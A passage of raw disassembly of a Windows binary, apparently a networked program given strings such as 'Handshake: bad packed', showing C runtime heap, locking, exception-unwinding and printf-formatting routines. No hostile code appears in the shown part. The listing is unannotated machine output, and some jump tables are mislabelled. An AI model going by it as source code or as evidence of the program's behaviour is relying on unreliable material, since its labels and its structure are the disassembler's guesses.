[ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp loc_44996F ; --------------------------------------------------------------------------- loc_4498E7: ; CODE XREF: sub_44965B+1A6j mov eax, [ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp short loc_44996F ; --------------------------------------------------------------------------- loc_4498FA: ; CODE XREF: sub_44965B+120j mov eax, [ebx-4] mov [ebp+var_1C], eax cmp ebx, [ebp+var_1C] jnz short loc_44993C mov eax, [ebp+var_C] mov dword_4111AC[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111FC, eax jnz short loc_44996D jmp short loc_449926 ; --------------------------------------------------------------------------- loc_449920: ; CODE XREF: sub_44965B+2DDj inc dword_4111FC loc_449926: ; CODE XREF: sub_44965B+2C3j mov eax, dword_4111FC cmp dword_4111AC[eax*4], 0 jnz short loc_44993A cmp eax, 7 jl short loc_449920 loc_44993A: ; CODE XREF: sub_44965B+2D8j jmp short loc_44996D ; --------------------------------------------------------------------------- loc_44993C: ; CODE XREF: sub_44965B+2A8j mov eax, [ebx-8] mov [ebp+var_20], eax mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx-4], eax mov edx, [ebp+var_1C] mov eax, [ebp+var_20] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111AC[eax*4] jnz short loc_44996D mov eax, [ebp+var_C] mov edx, [ebp+var_20] mov dword_4111AC[eax*4], edx loc_44996D: ; CODE XREF: sub_44965B+2C1j ; sub_44965B:loc_44993Aj ... mov esi, edi loc_44996F: ; CODE XREF: sub_44965B+287j ; sub_44965B+29Dj mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax lea eax, [edx+4] mov [ebp+var_8], eax mov edx, esi or edx, 80000000h mov [eax+esi*4-4], edx mov [eax], edx mov eax, [ebp+var_8] add eax, 4 loc_449992: ; CODE XREF: sub_44965B+F4j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44965B endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44999B proc near ; CODE XREF: sub_44853B+Dp ; sub_44910B+Ap ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00449A02 SIZE 00000038 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8E4 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_1C], 0 mov eax, dword_4117E4 cmp [ebp+arg_0], eax jnb short loc_449A02 push 0 call sub_449F3B pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_44965B pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_4499F9 jmp short loc_449A02 sub_44999B endp ; =============== S U B R O U T I N E ======================================= sub_4499F9 proc near ; CODE XREF: sub_44999B+57p push 0 call sub_449FBB pop ecx retn sub_4499F9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44999B loc_449A02: ; CODE XREF: sub_44999B+35j ; sub_44999B+5Cj cmp [ebp+var_1C], 0 jnz short loc_449A15 mov eax, [ebp+arg_0] push eax call sub_449DEB pop ecx mov [ebp+var_1C], eax loc_449A15: ; CODE XREF: sub_44999B+6Bj cmp [ebp+var_1C], 0 jnz short loc_449A26 call sub_449B9B mov dword ptr [eax], 0Ch loc_449A26: ; CODE XREF: sub_44999B+7Ej mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_44999B ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_449A3B proc near ; CODE XREF: sub_44910B+7Bp ; sub_44A57B+80p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 91h jz loc_449B0D jg short loc_449A98 cmp ebx, 50h jl short loc_449A5F cmp ebx, 59h jg short loc_449A70 jmp dword ptr aProtorecvDataS+3[ebx*4] ; --------------------------------------------------------------------------- loc_449A5F: ; CODE XREF: sub_449A3B+16j cmp ebx, 1 jl short loc_449ADD cmp ebx, 43h jg short loc_449ADD jmp off_40F914[ebx*4] ; --------------------------------------------------------------------------- loc_449A70: ; CODE XREF: sub_449A3B+1Bj cmp ebx, 6Ch jl short loc_449ADD cmp ebx, 72h jg short loc_449A81 jmp dword ptr a02i02i02iIIIS+6[ebx*4] ; --------------------------------------------------------------------------- loc_449A81: ; CODE XREF: sub_449A3B+3Dj cmp ebx, 80h jl short loc_449ADD cmp ebx, 84h jg short loc_449ADD jmp dword ptr aWinsock2_xInit+0Eh[ebx*4] ; --------------------------------------------------------------------------- loc_449A98: ; CODE XREF: sub_449A3B+11j cmp ebx, 0A4h jz short loc_449B1A cmp ebx, 0A7h jz short loc_449B0D jg short loc_449ABC cmp ebx, 9Eh jz short loc_449B0D cmp ebx, 0A1h jz short loc_449AED jmp short loc_449ADD ; --------------------------------------------------------------------------- loc_449ABC: ; CODE XREF: sub_449A3B+6Dj cmp ebx, 0B7h jl short loc_449ADD cmp ebx, 0D7h jg short loc_449AD3 jmp dword ptr aHandshakeBadPa[ebx*4] ; "Handshake: bad packed (%i)\n" ; --------------------------------------------------------------------------- loc_449AD3: ; CODE XREF: sub_449A3B+8Fj cmp ebx, 718h jz short loc_449AFD jmp short $+2 loc_449ADD: ; CODE XREF: sub_449A3B+27j ; sub_449A3B+2Cj ... call sub_449B9B mov dword ptr [eax], 16h jmp loc_449B8D ; --------------------------------------------------------------------------- loc_449AED: ; CODE XREF: sub_449A3B+7Dj call sub_449B9B mov dword ptr [eax], 2 jmp loc_449B8D ; --------------------------------------------------------------------------- loc_449AFD: ; CODE XREF: sub_449A3B+9Ej call sub_449B9B mov dword ptr [eax], 0Ch jmp loc_449B8D ; --------------------------------------------------------------------------- loc_449B0D: ; CODE XREF: sub_449A3B+Bj ; sub_449A3B+6Bj ... call sub_449B9B mov dword ptr [eax], 0Dh jmp short loc_449B8D ; --------------------------------------------------------------------------- loc_449B1A: ; CODE XREF: sub_449A3B+63j call sub_449B9B mov dword ptr [eax], 0Bh jmp short loc_449B8D ; --------------------------------------------------------------------------- call sub_449B9B mov dword ptr [eax], 11h jmp short loc_449B8D ; --------------------------------------------------------------------------- call sub_449B9B mov dword ptr [eax], 9 jmp short loc_449B8D ; --------------------------------------------------------------------------- call sub_449B9B mov dword ptr [eax], 0Ah jmp short loc_449B8D ; --------------------------------------------------------------------------- call sub_449B9B mov dword ptr [eax], 8 jmp short loc_449B8D ; --------------------------------------------------------------------------- call sub_449B9B mov dword ptr [eax], 18h jmp short loc_449B8D ; --------------------------------------------------------------------------- call sub_449B9B mov dword ptr [eax], 1Ch jmp short loc_449B8D ; --------------------------------------------------------------------------- call sub_449B9B mov dword ptr [eax], 20h jmp short loc_449B8D ; --------------------------------------------------------------------------- call sub_449B9B mov dword ptr [eax], 12h loc_449B8D: ; CODE XREF: sub_449A3B+ADj ; sub_449A3B+BDj ... pop ebx retn sub_449A3B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449B9B proc near ; CODE XREF: sub_44856B+1Bp ; sub_44999B+80p ... call sub_44A88B add eax, 8 retn sub_449B9B endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz short loc_449C48 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_449BE2: ; CODE XREF: DMN1:00449C3Fj cmp esi, 0FFFFFFFFh jz short loc_449C58 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_449C36 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] test eax, eax jz short loc_449C36 js short loc_449C41 mov edi, [ebx+8] push ebx call sub_449C8B add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_449CDB add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_449D84 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_449C36: ; CODE XREF: DMN1:00449BEFj ; DMN1:00449C01j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_449BE2 ; --------------------------------------------------------------------------- loc_449C41: ; CODE XREF: DMN1:00449C03j mov eax, 0 jmp short loc_449C5D ; --------------------------------------------------------------------------- loc_449C48: ; CODE XREF: DMN1:00449BCBj push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_449CDB add esp, 8 pop ebp loc_449C58: ; CODE XREF: DMN1:00449BE5j mov eax, 1 loc_449C5D: ; CODE XREF: DMN1:00449C46j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_449CDB add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449C8B proc near ; CODE XREF: DMN1:00449C09p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_408838 push [ebp+arg_0] call sub_44EC1B ; RtlUnwind pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_449C8B endp ; --------------------------------------------------------------------------- mov ecx, [esp+4] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_449CCC mov eax, [esp+8] mov edx, [esp+10h] mov [edx], eax mov eax, 3 locret_449CCC: ; CODE XREF: DMN1:00449CBBj retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449CDB proc near ; CODE XREF: DMN1:00449C16p ; DMN1:00449C4Fp ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_408840 push large dword ptr fs:0 mov large fs:0, esp loc_449CF8: ; CODE XREF: sub_449CDB:loc_449D33j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_449D35 cmp esi, [esp+1Ch+arg_4] jz short loc_449D35 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_449D33 push 101h mov eax, [ebx+esi*4+8] call sub_449D84 call dword ptr [ebx+esi*4+8] loc_449D33: ; CODE XREF: sub_449CDB+44j jmp short loc_449CF8 ; --------------------------------------------------------------------------- loc_449D35: ; CODE XREF: sub_449CDB+2Aj ; sub_449CDB+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_449CDB endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_408840 jnz short locret_449D6D mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_449D6D mov eax, 1 locret_449D6D: ; CODE XREF: DMN1:00449D5Bj ; DMN1:00449D66j retn ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_411204 jmp short loc_449D8E ; =============== S U B R O U T I N E ======================================= sub_449D84 proc near ; CODE XREF: DMN1:00449C27p ; sub_449CDB+4Fp push ebx push ecx mov ebx, offset dword_411204 mov ecx, [ebp+8] loc_449D8E: ; CODE XREF: DMN1:00449D82j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_449D84 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_449DAB proc near ; CODE XREF: DMN1:004492D1p push 0 push 1000h push 0 call dword_411DB4 ; HeapCreate mov dword_4127F4, eax test eax, eax setnz al and eax, 1 retn sub_449DAB endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; --------------------------------------------------------------------------- mov eax, dword_4127F4 push eax call dword_411DB8 ; HeapDestroy mov dword_4127F4, 0 retn ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449DEB proc near ; CODE XREF: sub_44999B+71p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F4 push eax call dword_411DBC ; RtlAllocateHeap retn sub_449DEB endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax push 0 mov eax, dword_4127F4 push eax call dword_411DC0 ; RtlReAllocateHeap pop ebp retn ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_449E2B proc near ; CODE XREF: sub_4488EB+41p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F4 push eax call dword_411DC4 ; RtlFreeHeap retn sub_449E2B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push esi mov eax, [esp+0Ch] push eax push 0 mov eax, dword_4127F4 push eax call dword_411DC8 ; RtlSizeHeap mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_449E6D xor esi, esi jmp short loc_449E6F ; --------------------------------------------------------------------------- loc_449E6D: ; CODE XREF: DMN1:00449E67j mov esi, ebx loc_449E6F: ; CODE XREF: DMN1:00449E6Bj mov eax, esi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- mov eax, [esp+4] push eax push 0 mov eax, dword_4127F4 push eax call dword_411DCC ; HeapValidate test eax, eax setnz al and eax, 1 retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_449E9B proc near ; CODE XREF: sub_44A7CB+1p mov eax, off_411214 push eax call dword_411CCC ; InitializeCriticalSection mov eax, off_411218 push eax call dword_411CCC ; InitializeCriticalSection mov eax, off_41121C push eax call dword_411CCC ; InitializeCriticalSection mov eax, off_411220 push eax call dword_411CCC ; InitializeCriticalSection retn sub_449E9B endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_449EDB proc near ; CODE XREF: DMN1:0044A82Bp push ebx mov ebx, 4 loc_449EE1: ; CODE XREF: sub_449EDB+2Aj mov eax, off_411214[ebx*4] test eax, eax jz short loc_449F01 push eax call dword_411DD0 ; RtlDeleteCriticalSection mov eax, off_411214[ebx*4] push eax call sub_4488EB pop ecx loc_449F01: ; CODE XREF: sub_449EDB+Fj inc ebx cmp ebx, 9 jl short loc_449EE1 mov eax, off_411214 push eax call dword_411DD0 ; RtlDeleteCriticalSection mov eax, off_411218 push eax call dword_411DD0 ; RtlDeleteCriticalSection mov eax, off_41121C push eax call dword_411DD0 ; RtlDeleteCriticalSection mov eax, off_411220 push eax call dword_411DD0 ; RtlDeleteCriticalSection pop ebx retn sub_449EDB endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449F3B proc near ; CODE XREF: sub_4488EB+4Bp ; sub_448AFB+28p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] cmp off_411214[ebx*4], 0 jnz short loc_449FA0 push 18h call sub_44999B pop ecx mov [ebp+var_4], eax test eax, eax jnz short loc_449F66 push 1 call sub_44A98B pop ecx loc_449F66: ; CODE XREF: sub_449F3B+21j push 3 call sub_449F3B pop ecx cmp off_411214[ebx*4], 0 jnz short loc_449F8E mov eax, [ebp+var_4] push eax call dword_411CCC ; InitializeCriticalSection mov eax, [ebp+var_4] mov off_411214[ebx*4], eax jmp short loc_449F98 ; --------------------------------------------------------------------------- loc_449F8E: ; CODE XREF: sub_449F3B+3Bj mov eax, [ebp+var_4] push eax call sub_4488EB pop ecx loc_449F98: ; CODE XREF: sub_449F3B+51j push 3 call sub_449FBB pop ecx loc_449FA0: ; CODE XREF: sub_449F3B+12j mov eax, off_411214[ebx*4] push eax call dword_411CD0 ; RtlEnterCriticalSection pop ebx mov esp, ebp pop ebp retn sub_449F3B endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449FBB proc near ; CODE XREF: sub_448955+2p ; sub_448B56+2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, off_411214[eax*4] push eax call dword_411CD4 ; RtlLeaveCriticalSection retn sub_449FBB endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449FDB proc near ; CODE XREF: sub_4489BB+3Dp ; sub_448A5B+27p ... var_84 = byte ptr -84h var_50 = dword ptr -50h var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_6 = byte ptr -6 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi mov ebx, [ebp+arg_8] mov [ebp+var_48], 0 mov [ebp+var_44], 0 mov eax, [ebp+arg_0] mov [ebp+var_38], eax mov eax, [ebp+arg_4] mov [ebp+var_34], eax mov [ebp+var_10], 0 loc_44A00B: ; CODE XREF: sub_449FDB+A4j ; sub_449FDB+264j mov [ebp+var_4A], 0 lea eax, [ebp+var_48] push eax push 7FFFFFFFh push ebx lea eax, [ebp+var_4A] push eax call sub_44B14B add esp, 10h mov esi, eax test eax, eax jg short loc_44A038 cmp byte ptr [ebx], 0 setnz al and eax, 1 mov esi, eax loc_44A038: ; CODE XREF: sub_449FDB+50j cmp [ebp+var_4A], 25h jnz short loc_44A047 lea eax, [esi-1] mov [ebp+var_50], eax jmp short loc_44A04A ; --------------------------------------------------------------------------- loc_44A047: ; CODE XREF: sub_449FDB+62j mov [ebp+var_50], esi loc_44A04A: ; CODE XREF: sub_449FDB+6Aj mov eax, [ebp+var_50] mov edi, eax test eax, eax jle short loc_44A071 push edi push ebx mov eax, [ebp+var_34] push eax call [ebp+var_38] add esp, 0Ch mov [ebp+var_34], eax test eax, eax jnz short loc_44A06E or eax, 0FFFFFFFFh jmp loc_44A248 ; --------------------------------------------------------------------------- loc_44A06E: ; CODE XREF: sub_449FDB+89j add [ebp+var_10], edi loc_44A071: ; CODE XREF: sub_449FDB+76j add ebx, esi cmp [ebp+var_4A], 25h jz short loc_44A089 cmp [ebp+var_4A], 0 jnz short loc_44A00B mov eax, [ebp+var_10] jmp loc_44A248 ; --------------------------------------------------------------------------- loc_44A089: ; CODE XREF: sub_449FDB+9Dj mov [ebp+var_18], 0 mov [ebp+var_1C], 0 mov [ebp+var_20], 0 mov [ebp+var_24], 0 mov [ebp+var_28], 0 mov [ebp+var_2C], 0 mov [ebp+var_8], 0 jmp short loc_44A0D4 ; --------------------------------------------------------------------------- loc_44A0BB: ; CODE XREF: sub_449FDB+10Ej movzx eax, [ebp+var_8] mov edx, offset dword_40FAD8 mov ecx, esi sub ecx, edx or eax, dword_40FAE0[ecx*4] mov [ebp+var_8], ax inc ebx loc_44A0D4: ; CODE XREF: sub_449FDB+DEj movzx eax, byte ptr [ebx] push eax push offset dword_40FAD8 call sub_44A67B add esp, 8 mov esi, eax test eax, eax jnz short loc_44A0BB cmp byte ptr [ebx], 2Ah jnz short loc_44A113 mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_C], eax test eax, eax jge short loc_44A110 mov eax, [ebp+var_C] neg eax mov [ebp+var_C], eax or [ebp+var_8], 4 loc_44A110: ; CODE XREF: sub_449FDB+126j inc ebx jmp short loc_44A149 ; --------------------------------------------------------------------------- loc_44A113: ; CODE XREF: sub_449FDB+113j mov [ebp+var_C], 0 jmp short loc_44A138 ; --------------------------------------------------------------------------- loc_44A11C: ; CODE XREF: sub_449FDB+16Cj cmp [ebp+var_C], 7FFFFFFFh jge short loc_44A137 mov eax, [ebp+var_C] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_C], eax loc_44A137: ; CODE XREF: sub_449FDB+148j inc ebx loc_44A138: ; CODE XREF: sub_449FDB+13Fj movzx eax, byte ptr [ebx] mov edx, off_41189C test word ptr [edx+eax*2], 1 jnz short loc_44A11C loc_44A149: ; CODE XREF: sub_449FDB+136j cmp byte ptr [ebx], 2Eh jz short loc_44A154 or [ebp+var_14], 0FFFFFFFFh jmp short loc_44A1A4 ; --------------------------------------------------------------------------- loc_44A154: ; CODE XREF: sub_449FDB+171j inc ebx mov eax, ebx cmp byte ptr [eax], 2Ah jnz short loc_44A16E mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_14], eax inc ebx jmp short loc_44A1A4 ; --------------------------------------------------------------------------- loc_44A16E: ; CODE XREF: sub_449FDB+17Fj mov [ebp+var_14], 0 jmp short loc_44A193 ; --------------------------------------------------------------------------- loc_44A177: ; CODE XREF: sub_449FDB+1C7j cmp [ebp+var_14], 7FFFFFFFh jge short loc_44A192 mov eax, [ebp+var_14] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_14], eax loc_44A192: ; CODE XREF: sub_449FDB+1A3j inc ebx loc_44A193: ; CODE XREF: sub_449FDB+19Aj movzx eax, byte ptr [ebx] mov edx, off_41189C test word ptr [edx+eax*2], 1 jnz short loc_44A177 loc_44A1A4: ; CODE XREF: sub_449FDB+177j ; sub_449FDB+191j movzx eax, byte ptr [ebx] push eax push offset aHjltzl ; "hjltzL" call sub_44A67B add esp, 8 test eax, eax jz short loc_44A1C1 mov eax, ebx inc ebx movzx edi, byte ptr [eax] jmp short loc_44A1C3 ; --------------------------------------------------------------------------- loc_44A1C1: ; CODE XREF: sub_449FDB+1DCj xor edi, edi loc_44A1C3: ; CODE XREF: sub_449FDB+1E4j mov eax, edi mov [ebp+var_6], al cmp al, 68h jnz short loc_44A1D8 cmp byte ptr [ebx], 68h jnz short loc_44A1D8 mov [ebp+var_6], 62h inc ebx jmp short loc_44A208 ; --------------------------------------------------------------------------- loc_44A1D8: ; CODE XREF: sub_449FDB+1EFj ; sub_449FDB+1F4j cmp [ebp+var_6], 6Ch jnz short loc_44A1EA cmp byte ptr [ebx], 6Ch jnz short loc_44A1EA mov [ebp+var_6], 71h inc ebx jmp short loc_44A208 ; --------------------------------------------------------------------------- loc_44A1EA: ; CODE XREF: sub_449FDB+201j ; sub_449FDB+206j cmp [ebp+var_6], 0 jnz short loc_44A208 cmp byte ptr [ebx], 49h jnz short loc_44A208 cmp byte ptr [ebx+1], 36h jnz short loc_44A208 cmp byte ptr [ebx+2], 34h jnz short loc_44A208 mov [ebp+var_6], 71h add ebx, 3 loc_44A208: ; CODE XREF: sub_449FDB+1FBj ; sub_449FDB+20Dj ... lea eax, [ebp+var_84] push eax mov eax, ebx inc ebx movzx eax, byte ptr [eax] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_44B42B add esp, 10h test eax, eax jnz short loc_44A245 lea eax, [ebp+var_84] push eax lea eax, [ebp+var_40] push eax call sub_44BB6B add esp, 8 test eax, eax jge loc_44A00B loc_44A245: ; CODE XREF: sub_449FDB+24Dj or eax, 0FFFFFFFFh loc_44A248: ; CODE XREF: sub_449FDB+8Ej ; sub_449FDB+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_449FDB endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A25B proc near ; CODE XREF: sub_448A5B+6p cmp dword_411238, 0 jz short loc_44A26A mov eax, dword_411238 retn ; --------------------------------------------------------------------------- loc_44A26A: ; CODE XREF: sub_44A25B+7j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConout ; "CONOUT$" call dword_411DD4 ; CreateFileA retn sub_44A25B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- cmp dword_41123C, 0 jz short loc_44A29A mov eax, dword_41123C retn ; --------------------------------------------------------------------------- loc_44A29A: ; CODE XREF: DMN1:0044A292j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConin ; "CONIN$" call dword_411DD4 ; CreateFileA retn ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A2BB proc near ; CODE XREF: sub_448AFB+35p push ebx push esi xor esi, esi xor ebx, ebx loc_44A2C1: ; CODE XREF: sub_44A2BB+4Ej cmp off_411374[ebx*4], 0 jnz short loc_44A2E7 push 4Ch call sub_44999B pop ecx mov esi, eax test esi, esi jz short loc_44A30B mov off_411374[ebx*4], esi mov word ptr [esi], 80h jmp short loc_44A30B ; --------------------------------------------------------------------------- loc_44A2E7: ; CODE XREF: sub_44A2BB+Ej mov eax, off_411374[ebx*4] cmp word ptr [eax], 0 jnz short loc_44A302 mov esi, off_411374[ebx*4] mov word ptr [esi], 0FF7Fh jmp short loc_44A30B ; --------------------------------------------------------------------------- loc_44A302: ; CODE XREF: sub_44A2BB+37j inc ebx cmp ebx, 100h jb short loc_44A2C1 loc_44A30B: ; CODE XREF: sub_44A2BB+1Cj ; sub_44A2BB+2Aj ... mov eax, esi pop esi pop ebx retn sub_44A2BB endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A31B proc near ; CODE XREF: sub_448AFB+45p var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_44A332 xor eax, eax jmp loc_44A456 ; --------------------------------------------------------------------------- loc_44A332: ; CODE XREF: sub_44A31B+Ej mov ax, [ebx] and ax, 80h mov [ebp+var_2], ax mov edi, ebx mov esi, offset dword_40FB10 mov ecx, 13h rep movsd lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax mov eax, [ebp+arg_4] cmp byte ptr [eax], 72h jnz short loc_44A38C mov [ebp+var_8], 1 jmp short loc_44A3B3 ; --------------------------------------------------------------------------- loc_44A38C: ; CODE XREF: sub_44A31B+66j mov eax, [ebp+arg_4] cmp byte ptr [eax], 77h jnz short loc_44A39D mov [ebp+var_8], 1Ah jmp short loc_44A3B0 ; --------------------------------------------------------------------------- loc_44A39D: ; CODE XREF: sub_44A31B+77j mov eax, [ebp+arg_4] cmp byte ptr [eax], 61h setnz al and eax, 1 dec eax and eax, 16h mov [ebp+var_8], eax loc_44A3B0: ; CODE XREF: sub_44A31B+80j mov eax, [ebp+var_8] loc_44A3B3: ; CODE XREF: sub_44A31B+6Fj movzx eax, [ebp+var_2] or eax, [ebp+var_8] mov [ebx], ax test word ptr [ebx], 3 jnz short loc_44A3F6 push ebx call sub_448D5B pop ecx xor eax, eax jmp loc_44A456 ; --------------------------------------------------------------------------- loc_44A3D2: ; CODE XREF: sub_44A31B+E5j ; sub_44A31B+EDj mov eax, 